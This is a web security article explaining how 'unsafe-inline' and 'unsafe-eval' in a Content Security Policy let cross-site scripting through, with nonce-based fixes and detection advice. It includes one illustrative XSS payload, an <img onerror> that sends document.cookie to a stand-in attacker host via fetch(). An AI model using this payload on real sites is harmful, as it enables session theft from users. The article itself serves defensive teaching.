Skip to content

CSP allows inline scripts and eval

CWE-693CWE-79OWASP A05:2021Updated September 4, 20265 min read

A Content Security Policy that allows 'unsafe-inline' or 'unsafe-eval' permits exactly the constructs the header was meant to block. Injected script code then simply runs, and the main protection against cross-site scripting falls away. Nonces or hashes keep existing inline scripts working without that exception.

A Content Security Policy containing 'unsafe-inline' is like a guest list with a note at the bottom reading “and anyone else who turns up”. The header is present, scanners are satisfied, and the attack it was written for passes straight through. Those two exceptions weigh heavily, and you can remove them without breaking your application.

What do unsafe-inline and unsafe-eval mean?

'unsafe-inline' and 'unsafe-eval' are two explicit exceptions in a Content Security Policy. The first permits JavaScript to sit directly in the HTML, in a <script> block or in an attribute such as onclick. The second permits the application to turn text into executable code, through eval(), new Function() or a setTimeout() with a string argument.

Both are precisely the constructs a cross-site scripting attack relies on. An attacker who manages to get text into your page needs no external script; they write their code on the spot. The word unsafe in the name is therefore not a warning from the authors of the standard but a factual description: you are opening the door to the very attack you thought you had closed with the same header.

The comparison that suggests itself is a sprinkler system with the main valve shut. Everything is present, everything is certified, and at the moment it is needed nothing happens.

How is a CSP with unsafe-inline bypassed?

Suppose an application echoes a search term back without escaping it correctly. With a strict policy that remains a cosmetic issue; with 'unsafe-inline' it is a full vulnerability.

Vulnerable:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline' 'unsafe-eval'

On paper this is a tidy policy: scripts come only from your own domain. But with the two exceptions added, the browser also accepts this:

<!-- Landed in the page through an unescaped search term -->
<img src=x onerror="fetch('https://malicious.example/x?c='+document.cookie)">

No external script is loaded, so script-src 'self' is not violated. The code sits in an attribute, and that is exactly what 'unsafe-inline' permits. The session cookie travels to the attacker and the CSP played no part in the whole sequence.

Safe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-8fK2pQvR7xM1' 'strict-dynamic';
  object-src 'none';
  base-uri 'self'
<!-- Only this script block carries the nonce of this specific response -->
<script nonce="8fK2pQvR7xM1">
  document.getElementById('search').focus();
</script>

The server generates a new, random nonce for every response and puts it in the header and on its own script blocks. The browser now runs only scripts carrying that value. The injected onerror code has no nonce and is refused; the attacker cannot guess or reuse the correct value either, because it has already changed by the next request. 'strict-dynamic' ensures that scripts loaded by your own trusted code keep working without you having to permit every CDN separately.

Note the order in which browsers weigh these values: as soon as a nonce or hash appears in script-src, modern browsers ignore 'unsafe-inline'. Leaving that exception in place “for older browsers” is therefore not pointless but misleading: your policy then contains a rule that does nothing on modern browsers and permits everything on old ones.

What is the impact of a CSP with unsafe-inline?

In isolation this finding produces no direct compromise, which is why the severity usually comes out low. Its significance lies in the combination: the moment an injection point exists anywhere in the application, this setting is the difference between a blocked script and a stolen session.

That makes the finding heavier than it first appears. A modern application of any size almost always contains a place where user input is insufficiently escaped, in a rarely used admin screen, in an error message, in a PDF generator, or in a third-party component. The CSP is the layer meant to catch exactly that unavoidable mistake. If 'unsafe-eval' is also enabled, attacks through data that is only turned into code on the client come within reach as well.

There is a second, practical side. Many organisations treat “we have a CSP” as a completed checklist item. A policy with these exceptions grants that reassurance wrongly and keeps alive a risk people believe they have covered.

How do you detect a CSP with unsafe-inline?

Requesting the header and searching for the two keywords is the beginning, but no more than that. A tester then checks whether nonces or hashes are present, since those make 'unsafe-inline' irrelevant on modern browsers, and whether those nonces genuinely differ per request. A fixed nonce in a cached page is a classic mistake that undermines the entire mechanism.

They also check whether 'unsafe-eval' is really needed or has merely survived for historical reasons, and whether the application still contains eval()-like constructs. Also relevant: does the strict policy apply everywhere, or does one subdomain or one legacy screen have a wider variant through which an attacker can still get in? During a penetration test AssistSec tests not whether the header is present, but whether the policy stops a real injection, including the detour through permitted sources that themselves serve user content.

How do you prevent a CSP with unsafe-inline?

  • Remove 'unsafe-inline' and 'unsafe-eval' from script-src and replace them with per-request nonces or with hashes of fixed scripts.
  • Generate nonces with a cryptographic random source and never reuse one for a second response; check that cached pages do not carry an old nonce.
  • Move inline onclick and onerror attributes into external script files with event listeners.
  • Replace eval(), new Function() and setTimeout() with a string by direct function calls or JSON.parse().
  • Add 'strict-dynamic' if you load many scripts dynamically, so you do not have to permit every individual domain.
  • Roll out the change gradually with Content-Security-Policy-Report-Only, so you see which scripts would break before you enforce.
  • Clean up 'unsafe-inline' in style-src as well once the main script problems are solved.
  • Include the CSP in your automated tests, so an exception does not quietly return in a later release.

Sources

Frequently asked questions

What is the difference between a nonce and a hash?

A nonce is a random value the server generates per request and places both in the header and on the script block; the browser only runs scripts carrying the right value. A hash is the SHA fingerprint of the exact script contents. Nonces suit dynamically generated pages, hashes suit static scripts that never change.

May I leave unsafe-inline in place for stylesheets?

That is considerably less bad than for scripts, and in practice it is often the last exception remaining. It is not risk-free, though: with injected CSS an attacker can visually rearrange the page for phishing or, through selectors on attribute values, infer data from a form. Clean it up as soon as you can.

Why is a fixed nonce not a solution?

Because the whole mechanism rests on unpredictability. A nonce that has the same value on every request can simply be copied from the source by an attacker and placed in their own injected script. Functionally that is identical to unsafe-inline, so generate the value afresh for every response.

What if a third-party framework needs eval?

That happens with older template engines that compile templates on the client. The right route is to move to a pre-compiled build, which virtually every modern framework supports. If that is not feasible in the short term, isolate the functionality on a separate subdomain with its own, wider policy.

Related articles

Press / to search · Esc